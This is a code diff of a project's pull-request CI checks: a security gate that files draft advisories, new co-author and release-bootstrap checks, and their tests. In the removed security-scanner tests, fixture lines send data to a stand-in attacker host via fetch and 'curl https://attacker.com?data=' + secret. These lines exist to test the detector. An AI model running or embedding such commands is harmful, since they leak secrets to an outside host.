const payload = buildAdvisoryPayload(prNumber, prTitle, flags);
if (existing) {
const advisoryId = existing.ghsa_id ?? existing.id;
if (!advisoryId) {
throw new Error(`Existing advisory for PR #${prNumber} is missing both ghsa_id and id.`);
}
// PATCH rejects `vulnerabilities: []` with 422 ("Advisory must have at least one vulnerability").
// The field is only valid on POST when creating the draft; updates must omit it.
const { vulnerabilities, ...patchPayload } = payload;
return fetchImpl(`/repos/${repo}/security-advisories/${advisoryId}`, token, {
method: 'PATCH',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(patchPayload),
});
}
return fetchImpl(`/repos/${repo}/security-advisories`, token, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload),
});
}
// Cap pagination so a large backlog of unrelated draft advisories cannot stall
// the security gate (it runs inside a 5-minute workflow timeout).
const MAX_DRAFT_ADVISORY_PAGES = 20;
export async function findExistingDraftAdvisory(fetchImpl, token, repo, prNumber) {
const prMarker = `PR #${prNumber}`;
for (let page = 1; page <= MAX_DRAFT_ADVISORY_PAGES; page += 1) {
const advisories = await fetchImpl(
`/repos/${repo}/security-advisories?state=draft&per_page=100&page=${page}`,
token,
);
if (!Array.isArray(advisories) || advisories.length === 0) return null;
const existing = advisories.find(advisory =>
typeof advisory?.summary === 'string' && advisory.summary.includes(prMarker)
);
if (existing) return existing;
if (advisories.length < 100) return null;
}
console.warn(
`[security] findExistingDraftAdvisory: hit ${MAX_DRAFT_ADVISORY_PAGES}-page cap without finding PR #${prNumber}; ` +
'treating as new advisory. A duplicate draft may be created.',
);
return null;
}
export async function postSecurityCheckRun(fetchImpl, token, repo, headSha, hasFlags) {
await fetchImpl(`/repos/${repo}/check-runs`, token, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(hasFlags ? {
name: 'security-review',
head_sha: headSha,
// `completed/neutral` instead of `in_progress` so the check doesn't put
// the PR in `mergeStateStatus: BLOCKED`. The draft advisory is the
// durable signal for maintainers; there is no completion path that
// could ever flip an `in_progress` check-run back to completed on the
// same head SHA, so it would hang forever.
status: 'completed',
conclusion: 'neutral',
output: {
title: 'Security Review Recommended',
summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
},
} : {
name: 'security-review',
head_sha: headSha,
status: 'completed',
conclusion: 'success',
output: {
title: 'Security Review Passed',
summary: 'No security concerns detected.',
},
}),
});
}
// ── Main ──────────────────────────────────────────────────────────────────────
// Wall-clock budget for the whole script. The workflow job has a 5-minute
// timeout-minutes, and `continue-on-error: true` on a step does NOT override
// a job-level timeout — it only suppresses step failures. So if any API call
// (e.g. security-advisories POST/PATCH) hangs, the whole job is cancelled,
// failing the `review` check. This watchdog enforces the script's documented
// "always exit 0" contract regardless of API behaviour.
export const SCRIPT_WATCHDOG_MS = 90_000;
export function startScriptWatchdog(timeoutMs = SCRIPT_WATCHDOG_MS, exit = process.exit) {
const timer = setTimeout(() => {
console.warn(
`[security] script exceeded ${timeoutMs}ms wall-clock budget; exiting 0 per always-exit-0 contract`
);
exit(0);
}, timeoutMs);
// Don't keep the event loop alive solely for the watchdog.
timer.unref?.();
return timer;
}
async function main() {
const watchdog = startScriptWatchdog();
const { GH_TOKEN, GH_REPO, PR_NUMBER } = process.env;
if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) {
console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER required');
process.exit(1);
}
// Sanitize inputs before use in URL construction (prevents SSRF)
const prNumber = parseInt(PR_NUMBER, 10);
if (!Number.isInteger(prNumber) || prNumber <= 0) {
console.error('ERROR: PR_NUMBER must be a positive integer');
process.exit(1);
}
if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) {
console.error('ERROR: GH_REPO must be in owner/repo format');
process.exit(1);
}
// Validate SENSITIVE_PATHS — fails loudly if any have been refactored away on the PR base branch
const stalePaths = await validateSensitivePaths(GH_TOKEN, GH_REPO, prNumber);
if (stalePaths.length > 0) {
console.error('ERROR: Stale sensitive paths in check-pr-security.mjs:');
for (const p of stalePaths) console.error(` - ${p}`);
console.error('');
console.error('These paths no longer exist on the PR base branch. The security gate will silently produce no signal for them.');
console.error('Update SENSITIVE_PATHS in check-pr-security.mjs to reflect the current code structure.');
process.exit(1);
}
const [pr, files] = await Promise.all([
ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN),
fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN),
]);
const allFlags = [
...scanSecrets(files),
...scanCITampering(files),
...scanBuildScripts(files),
...scanSupplyChain(files),
...scanTestPatterns(files),
...scanSensitivePaths(files),
];
if (allFlags.length > 0) {
console.error(`[security] ${allFlags.length} flag(s) detected — creating draft advisory and pending check run`);
await Promise.all([
syncDraftAdvisory(ghFetch, GH_TOKEN, GH_REPO, prNumber, pr.title, allFlags),
postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, true),
]);
} else {
console.log('[security] all clear');
await postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, false);
}
// Always exit 0 — security flags are silent, never block the PR publicly
clearTimeout(watchdog);
process.exit(0);
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
main().catch(e => { console.error(e.message); process.exit(1); });
}
+21 -2
View File
@@ -16,6 +16,8 @@ import { checkDedupSearch } from './check-pr-dedup-search.mjs';
import { checkTestCoverage } from './check-pr-test-coverage.mjs';
import { checkLockfile } from './check-pr-lockfile.mjs';
import { checkDependencies } from './check-pr-dependencies.mjs';
import { checkReleaseBootstrap } from './check-pr-release-bootstrap.mjs';
import { checkCoauthors, fetchAllPullRequestCommits } from './check-pr-coauthors.mjs';
const COMMENT_SIGNATURE = '— commitperclip';
@@ -105,13 +107,24 @@ async function main() {
fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN),
]);
// Separate, and allowed to fail. The co-author note is informational: it
// cannot fail a PR by design, so it must not be able to fail the workflow by
// accident either. Sharing the Promise.all above would let one transient
// 5xx on this request take down every gate, including the ones that block.
let commits = [];
try {
commits = await fetchAllPullRequestCommits(ghFetch, GH_REPO, prNumber, GH_TOKEN);
} catch (error) {
console.error(`co-author lookup skipped: ${error.message}`);
}
const prBody = pr.body ?? '';
const author = PR_AUTHOR ?? pr.user.login;
const branch = PR_BRANCH ?? pr.head.ref;
// Run all quality gates (pure functions run sync, deps check is async)
const prTitle = pr.title ?? '';
const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult] =
const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult, bootstrapResult] =
await Promise.all([
Promise.resolve(checkTemplate(prBody)),
Promise.resolve(checkLinkedIssue(prBody, prTitle)),
@@ -119,7 +132,9 @@ async function main() {
Promise.resolve(checkTestCoverage(files, prTitle)),
Promise.resolve(checkLockfile(files, author, branch)),
checkDependencies(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref),
checkReleaseBootstrap(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref),
]);
const coauthorResult = checkCoauthors(commits, author);
const allFailures = [
...templateResult.failures,
@@ -128,7 +143,11 @@ async function main() {
...testResult.failures,
...lockfileResult.failures,
];
const informational = depsResult.informational ?? [];
const informational = [
...(depsResult.informational ?? []),
...(bootstrapResult.informational ?? []),
...coauthorResult.informational,
];
const allPassed = allFailures.length === 0;
const commentBody = buildComment(author, allFailures, informational);
@@ -0,0 +1,179 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkCoauthors, fetchAllPullRequestCommits } from '../check-pr-coauthors.mjs';
function commit(login, name = null, email = null) {
return {
author: login ? { login } : null,
commit: { author: { name: name ?? login, email: email ?? `${login}@users.noreply.github.com` } },
};
}
test('checkCoauthors: says nothing when every commit is the PR author\'s own', () => {
const result = checkCoauthors(
[commit('tonio-alucema'), commit('tonio-alucema')],
'tonio-alucema'
);
assert.equal(result.passed, true);
assert.deepEqual(result.informational, []);
});
test('checkCoauthors: hands over the trailer when the branch carries someone else\'s commit', () => {
// The case this exists for: a stale contributor PR rebased and landed by a
// maintainer. Squash-merging drops the contributor unless the squash body
// carries their trailer.
const result = checkCoauthors(
[commit('stubbi', 'Jannes Stubbemann'), commit('tonio-alucema')],
'tonio-alucema'
);
assert.equal(result.informational.length, 1);
assert.match(result.informational[0], /Jannes Stubbemann/);
assert.match(
result.informational[0],
/Co-Authored-By: Jannes Stubbemann <stubbi@users\.noreply\.github\.com>/
);
});
test('checkCoauthors: never fails the PR, because the squash message does not exist yet', () => {
// Informational only. The author of the PR cannot satisfy this from the PR,
// so failing here would block work on something unfixable at that point.
const result = checkCoauthors([commit('stubbi')], 'tonio-alucema');
assert.equal(result.passed, true);
});
test('checkCoauthors: matches the PR author case-insensitively', () => {
// GitHub logins are case-insensitive, and PR_AUTHOR does not always arrive
// in the same case as the commit author login.
const result = checkCoauthors([commit('Tonio-Alucema')], 'tonio-alucema');
assert.deepEqual(result.informational, []);
});
test('checkCoauthors: ignores bots', () => {
const result = checkCoauthors(
[commit('github-actions[bot]'), commit('dependabot[bot]')],
'tonio-alucema'
);
assert.deepEqual(result.informational, []);
});
test('checkCoauthors: lists each contributor once, however many commits they wrote', () => {
const result = checkCoauthors(
[commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'Jannes Stubbemann')],
'tonio-alucema'
);
const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? [];
assert.equal(trailers.length, 1);
});
test('checkCoauthors: falls back to the raw git author when GitHub matched no account', () => {
// A commit authored with an email GitHub cannot resolve still deserves a
// trailer — that is precisely the identity most likely to be lost.
const result = checkCoauthors(
[{ author: null, commit: { author: { name: 'Ada Lovelace', email: 'ada@example.com' } } }],
'tonio-alucema'
);
assert.match(result.informational[0], /Co-Authored-By: Ada Lovelace <ada@example\.com>/);
});
test('checkCoauthors: skips an unattributable commit rather than emitting a broken trailer', () => {
const result = checkCoauthors(
[{ author: null, commit: { author: { name: 'Nameless', email: null } } }],
'tonio-alucema'
);
assert.deepEqual(result.informational, []);
});
test('checkCoauthors: names the count rather than everyone when several contributed', () => {
const result = checkCoauthors(
[commit('stubbi', 'Jannes Stubbemann'), commit('elJayAdvisor', 'LJ')],
'tonio-alucema'
);
assert.match(result.informational[0], /2 other contributors/);
assert.match(result.informational[0], /Jannes Stubbemann/);
assert.match(result.informational[0], /LJ/);
});
test('checkCoauthors: tolerates a PR with no commits', () => {
assert.deepEqual(checkCoauthors([], 'tonio-alucema').informational, []);
assert.deepEqual(checkCoauthors(undefined, 'tonio-alucema').informational, []);
});
test('fetchAllPullRequestCommits: pages until a short batch', async () => {
const seen = [];
const commits = await fetchAllPullRequestCommits(async (path) => {
seen.push(path);
if (path.endsWith('page=1')) return Array.from({ length: 100 }, () => commit('stubbi'));
return [commit('tonio-alucema')];
}, 'paperclipai/paperclip', 9900, 'token');
assert.equal(commits.length, 101);
assert.equal(seen.length, 2);
});
test('fetchAllPullRequestCommits: stops at the API ceiling instead of looping', async () => {
// `/pulls/{n}/commits` caps at 250 and keeps returning full pages of nothing
// new past that. A branch that large is not what this gate is about, but it
// must not spin.
let calls = 0;
const commits = await fetchAllPullRequestCommits(async () => {
calls += 1;
return Array.from({ length: 100 }, () => commit('stubbi'));
}, 'paperclipai/paperclip', 9900, 'token');
assert.equal(calls, 3);
assert.equal(commits.length, 300);
});
test('checkCoauthors: counts one person once when their git name varies across commits', () => {
// People change their git config. Keying the dedup on the rendered trailer
// would put two lines for the same contributor into the squash body.
const result = checkCoauthors(
[commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'J. Stubbemann')],
'tonio-alucema'
);
const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? [];
assert.equal(trailers.length, 1);
assert.doesNotMatch(result.informational[0], /other contributors/);
});
test('checkCoauthors: does not credit the PR author as a co-author of themselves', () => {
// Their own commit, authored with an email GitHub could not match to the
// account. Without the guard they appear in their own trailer list.
const byName = checkCoauthors(
[{ author: null, commit: { author: { name: 'tonio-alucema', email: 'tonio@example.com' } } }],
'tonio-alucema'
);
const byEmail = checkCoauthors(
[{ author: null, commit: { author: { name: 'Tonio', email: 'tonio-alucema@users.noreply.github.com' } } }],
'tonio-alucema'
);
assert.deepEqual(byName.informational, []);
assert.deepEqual(byEmail.informational, []);
});
test('checkCoauthors: counts one person once when some commits matched their account and some did not', () => {
// The mixed case: GitHub resolved one commit to the login and left another
// unmatched, both carrying the same email. Keying on login alone emits two
// trailers for one contributor.
const result = checkCoauthors(
[
commit('stubbi', 'Jannes Stubbemann', 'jannes@example.com'),
{ author: null, commit: { author: { name: 'Jannes Stubbemann', email: 'jannes@example.com' } } },
],
'tonio-alucema'
);
const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? [];
assert.equal(trailers.length, 1);
});
@@ -0,0 +1,265 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import {
addedWorkspaceDependencyNames,
checkReleaseBootstrap,
} from '../check-pr-release-bootstrap.mjs';
const MANIFEST_PATH = 'scripts/release-package-manifest.json';
function encodeManifest(entries) {
return { content: Buffer.from(JSON.stringify(entries)).toString('base64') };
}
function stubGitHub({ base = [], head = [] }) {
return async (path) => {
if (path.includes('ref=refs%2Fpull%2F')) return encodeManifest(head);
if (path.includes(`/contents/`)) return encodeManifest(base);
throw new Error(`unexpected fetch: ${path}`);
};
}
const manifestChangedFile = { filename: MANIFEST_PATH, status: 'modified' };
test('does nothing (and fetches nothing) when the manifest is untouched', async () => {
const result = await checkReleaseBootstrap(
[{ filename: 'server/src/index.ts', status: 'modified' }],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: async () => { throw new Error('should not fetch'); },
registryPackageExists: async () => { throw new Error('should not look up'); },
}
);
assert.deepEqual(result, { passed: true, informational: [] });
});
test('notices a new publishFromCi:true package that is missing from npm', async () => {
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [{ dir: 'a', name: '@paperclipai/existing', publishFromCi: true }],
head: [
{ dir: 'a', name: '@paperclipai/existing', publishFromCi: true },
{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true },
],
}),
registryPackageExists: async (name) => name !== '@paperclipai/brand-new',
}
);
assert.equal(result.informational.length, 1);
assert.match(result.informational[0], /@paperclipai\/brand-new/);
assert.match(result.informational[0], /release:bootstrap-package -- @paperclipai\/brand-new --publish/);
assert.match(result.informational[0], /No contributor action/);
});
test('stays quiet when the new package already exists on npm', async () => {
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [],
head: [{ dir: 'b', name: '@paperclipai/already-bootstrapped', publishFromCi: true }],
}),
registryPackageExists: async () => true,
}
);
assert.deepEqual(result.informational, []);
});
test('notices a publishFromCi flip from false to true on a missing package', async () => {
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: false }],
head: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: true }],
}),
registryPackageExists: async () => false,
}
);
assert.equal(result.informational.length, 1);
assert.match(result.informational[0], /@paperclipai\/flipped/);
});
test('notices a publishFromCi:false package that published packages newly depend on', async () => {
const files = [
manifestChangedFile,
{
filename: 'server/package.json',
status: 'modified',
patch: '@@ -1 +1 @@\n+ "@paperclipai/adapter-kimi-local": "workspace:*",',
},
];
const result = await checkReleaseBootstrap(
files,
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [],
head: [{ dir: 'b', name: '@paperclipai/adapter-kimi-local', publishFromCi: false }],
}),
registryPackageExists: async () => false,
}
);
assert.equal(result.informational.length, 1);
assert.match(result.informational[0], /depend on it/);
assert.match(result.informational[0], /"publishFromCi": true/);
assert.match(result.informational[0], /drop the workspace dependency/);
});
test('notices a newly added dependency on an existing unpublished package even when the manifest is untouched', async () => {
const files = [
{
filename: 'server/package.json',
status: 'modified',
patch: '@@ -1 +1 @@\n+ "@paperclipai/adapter-hermes-gateway": "workspace:*",',
},
];
const manifest = [{ dir: 'g', name: '@paperclipai/adapter-hermes-gateway', publishFromCi: false }];
const result = await checkReleaseBootstrap(
files,
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({ base: manifest, head: manifest }),
registryPackageExists: async () => false,
}
);
assert.equal(result.informational.length, 1);
assert.match(result.informational[0], /@paperclipai\/adapter-hermes-gateway/);
assert.match(result.informational[0], /depend on it/);
});
test('stays quiet for a publishFromCi:false package nothing depends on', async () => {
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [],
head: [{ dir: 'b', name: '@paperclipai/deliberately-private', publishFromCi: false }],
}),
registryPackageExists: async () => { throw new Error('should not look up'); },
}
);
assert.deepEqual(result.informational, []);
});
test('never looks up names outside the @paperclipai scope', async () => {
const lookedUp = [];
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [],
head: [
{ dir: 'x', name: '@evil/probe', publishFromCi: true },
{ dir: 'y', name: 'unscoped-name', publishFromCi: true },
{ dir: 'z', name: '@paperclipai/UPPER', publishFromCi: true },
],
}),
registryPackageExists: async (name) => {
lookedUp.push(name);
return false;
},
}
);
assert.deepEqual(lookedUp, []);
assert.deepEqual(result.informational, []);
});
test('stays quiet when the registry lookup fails', async () => {
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: stubGitHub({
base: [],
head: [{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }],
}),
registryPackageExists: async () => { throw new Error('registry down'); },
}
);
assert.deepEqual(result, { passed: true, informational: [] });
});
test('treats a missing base manifest as empty (every head entry is new)', async () => {
const result = await checkReleaseBootstrap(
[manifestChangedFile],
'token',
'paperclipai/paperclip',
9967,
'master',
{
fetchFromGitHub: async (path) => {
if (path.includes('ref=refs%2Fpull%2F')) {
return encodeManifest([{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }]);
}
throw new Error('404 base manifest');
},
registryPackageExists: async () => false,
}
);
assert.equal(result.informational.length, 1);
});
test('addedWorkspaceDependencyNames reads only added lines of package.json patches', () => {
const names = addedWorkspaceDependencyNames([
{
filename: 'server/package.json',
patch: [
'@@ -1,3 +1,4 @@',
' "@paperclipai/context-line": "workspace:*",',
'- "@paperclipai/removed-dep": "workspace:*",',
'+ "@paperclipai/added-dep": "workspace:*",',
].join('\n'),
},
{ filename: 'ui/src/index.ts', patch: '+ "@paperclipai/not-a-pkg-json": "workspace:*",' },
{ filename: 'node_modules/x/package.json', patch: '+ "@paperclipai/vendored": "workspace:*",' },
]);
assert.deepEqual([...names], ['@paperclipai/added-dep']);
});
@@ -1,380 +0,0 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import {
buildAdvisoryPayload,
findExistingDraftAdvisory,
postSecurityCheckRun,
scanSecrets,
scanCITampering,
scanBuildScripts,
scanSupplyChain,
scanTestPatterns,
scanSensitivePaths,
startScriptWatchdog,
syncDraftAdvisory,
validateSensitivePaths,
} from '../check-pr-security.mjs';
import { ghFetch } from '../get-bot-token.mjs';
// ── scanSecrets ──────────────────────────────────────────────────────────────
test('scanSecrets: flags OpenAI key in added line', () => {
const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
assert.ok(scanSecrets(files).length > 0);
});
test('scanSecrets: flags AWS key in added line', () => {
const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }];
assert.ok(scanSecrets(files).length > 0);
});
test('scanSecrets: ignores removed lines', () => {
const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
assert.equal(scanSecrets(files).length, 0);
});
test('scanSecrets: ignores files without patch', () => {
assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0);
});
// ── scanCITampering ──────────────────────────────────────────────────────────
test('scanCITampering: flags workflow file changes', () => {
const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }];
assert.ok(scanCITampering(files).length > 0);
});
test('scanCITampering: ignores non-workflow files', () => {
const files = [{ filename: 'src/foo.ts', status: 'modified' }];
assert.equal(scanCITampering(files).length, 0);
});
test('scanCITampering: ignores removed workflow files', () => {
const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }];
assert.equal(scanCITampering(files).length, 0);
});
// ── scanBuildScripts ─────────────────────────────────────────────────────────
test('scanBuildScripts: flags changes to release.sh', () => {
const files = [{ filename: 'scripts/release.sh', status: 'modified' }];
assert.ok(scanBuildScripts(files).length > 0);
});
test('scanBuildScripts: ignores non-CI scripts', () => {
const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }];
assert.equal(scanBuildScripts(files).length, 0);
});
// ── scanSupplyChain ──────────────────────────────────────────────────────────
test('scanSupplyChain: flags net-new packages in lockfile', () => {
const patch = `@@ -1,3 +1,4 @@
packages:
+ 'evil-package@1.0.0':
'existing-package@2.0.0':
- 'old-package@1.0.0':
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
const flags = scanSupplyChain(files);
assert.ok(flags.length > 0);
assert.ok(flags[0].packages.includes('evil-package'));
});
test('scanSupplyChain: does not flag version-only bumps', () => {
const patch = `@@ -1,3 +1,3 @@
packages:
- 'existing-package@1.0.0':
+ 'existing-package@2.0.0':
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
assert.equal(scanSupplyChain(files).length, 0);
});
test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => {
const patch = `@@ -1,2 +1,3 @@
+evil-package@1.0.0:
existing-package@2.0.0:
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
const flags = scanSupplyChain(files);
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
});
test('scanSupplyChain: ignores peer suffixes when matching package names', () => {
const patch = `@@ -1,2 +1,2 @@
-@scope/pkg@1.0.0(react@18.2.0):
+@scope/pkg@2.0.0(react@18.2.0):
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
assert.equal(scanSupplyChain(files).length, 0);
});
test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => {
const patch = `@@ -1,2 +1,3 @@
+evil-package@1.0.0(react@18.2.0):
existing-package@2.0.0:
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
const flags = scanSupplyChain(files);
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
});
test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => {
const calls = [];
const fakeFetch = async (path) => {
calls.push(path);
if (/[?&]page=1(?:&|$)/.test(path)) {
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` }));
}
if (/[?&]page=2(?:&|$)/.test(path)) {
return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }];
}
return [];
};
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' });
assert.equal(calls.length, 2);
});
test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => {
const fakeFetch = async () => [{ summary: 'Completely different advisory' }];
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
assert.equal(advisory, null);
});
test('findExistingDraftAdvisory: bails out at the page cap so a large backlog cannot hang the workflow', async () => {
let pageCount = 0;
const fakeFetch = async () => {
pageCount += 1;
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${pageCount}-${i}` }));
};
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
assert.equal(advisory, null);
assert.equal(pageCount, 20, `expected pagination to run exactly 20 pages (the cap), got ${pageCount}`);
});
test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => {
const calls = [];
const flags = [
{ check: 'ci-tampering', file: '.github/workflows/pr.yml' },
{ check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' },
];
await syncDraftAdvisory(async (path, token, options) => {
calls.push({ path, token, options });
if (path.includes('/security-advisories?state=draft')) {
return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }];
}
return { ok: true };
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
assert.equal(calls.length, 2);
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234');
assert.equal(calls[1].options.method, 'PATCH');
const patchBody = JSON.parse(calls[1].options.body);
const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags);
assert.deepEqual(patchBody, expectedPatch);
assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)');
});
test('syncDraftAdvisory: creates a new advisory when none exists', async () => {
const calls = [];
const flags = [{ check: 'supply-chain', packages: ['evil-package'] }];
await syncDraftAdvisory(async (path, token, options) => {
calls.push({ path, token, options });
if (path.includes('/security-advisories?state=draft')) {
return [];
}
return { ok: true };
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
assert.equal(calls.length, 2);
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories');
assert.equal(calls[1].options.method, 'POST');
assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags));
});
test('postSecurityCheckRun: uses the injected fetch implementation', async () => {
const calls = [];
await postSecurityCheckRun(async (path, token, options) => {
calls.push({ path, token, options });
return { ok: true };
}, 'token', 'paperclipai/paperclip', 'deadbeef', true);
assert.equal(calls.length, 1);
assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs');
assert.equal(calls[0].options.method, 'POST');
assert.deepEqual(JSON.parse(calls[0].options.body), {
name: 'security-review',
head_sha: 'deadbeef',
status: 'completed',
conclusion: 'neutral',
output: {
title: 'Security Review Recommended',
summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
},
});
});
test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => {
const seenPaths = [];
const stale = await validateSensitivePaths(
'token',
'paperclipai/paperclip',
6469,
'release/1.2',
async (path) => {
seenPaths.push(path);
return { ok: true };
},
);
assert.deepEqual(stale, []);
assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2')));
assert.ok(!seenPaths.some(path => path.includes('ref=master')));
});
test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => {
let seen404 = false;
const stale = await validateSensitivePaths(
'token',
'paperclipai/paperclip',
6469,
'main',
async (path) => {
if (!seen404) {
seen404 = true;
throw new Error('GitHub API GET /contents/foo → 404: missing');
}
return { ok: true };
},
);
assert.equal(stale.length, 1);
await assert.rejects(
validateSensitivePaths(
'token',
'paperclipai/paperclip',
6469,
'main',
async () => {
throw new Error('GitHub API GET /contents/foo → 500: boom');
},
),
/500: boom/
);
});
// ── scanTestPatterns ─────────────────────────────────────────────────────────
test('scanTestPatterns: flags outbound fetch in test file', () => {
const files = [{
filename: 'src/foo.test.ts',
patch: `+ const res = await fetch('https://attacker.com/collect')`,
}];
assert.ok(scanTestPatterns(files).length > 0);
});
test('scanTestPatterns: flags execSync in test file', () => {
const files = [{
filename: 'src/foo.test.ts',
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
}];
assert.ok(scanTestPatterns(files).length > 0);
});
test('scanTestPatterns: ignores suspicious patterns in non-test files', () => {
const files = [{
filename: 'src/api.ts',
patch: `+ const res = await fetch('https://api.example.com')`,
}];
assert.equal(scanTestPatterns(files).length, 0);
});
test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => {
const files = [{
filename: 'src/__tests__/foo.ts',
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
}];
assert.ok(scanTestPatterns(files).length > 0);
});
// ── scanSensitivePaths ───────────────────────────────────────────────────────
test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => {
const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }];
assert.ok(scanSensitivePaths(files).length > 0);
});
test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => {
const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }];
assert.ok(scanSensitivePaths(files).length > 0);
});
test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => {
const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }];
assert.ok(scanSensitivePaths(files).length > 0);
});
test('scanSensitivePaths: ignores unrelated paths', () => {
const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }];
assert.equal(scanSensitivePaths(files).length, 0);
});
test('scanSensitivePaths: ignores removed files even on sensitive paths', () => {
const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }];
assert.equal(scanSensitivePaths(files).length, 0);
});
// ── startScriptWatchdog ──────────────────────────────────────────────────────
test('startScriptWatchdog: fires exit(0) when the wall-clock budget is exceeded', async () => {
let exitCode = null;
const fakeExit = (code) => { exitCode = code; };
startScriptWatchdog(20, fakeExit);
await new Promise((resolve) => setTimeout(resolve, 60));
assert.equal(exitCode, 0, 'watchdog should have exited with code 0 by now');
});
test('startScriptWatchdog: cleared timer never fires', async () => {
let exitCode = null;
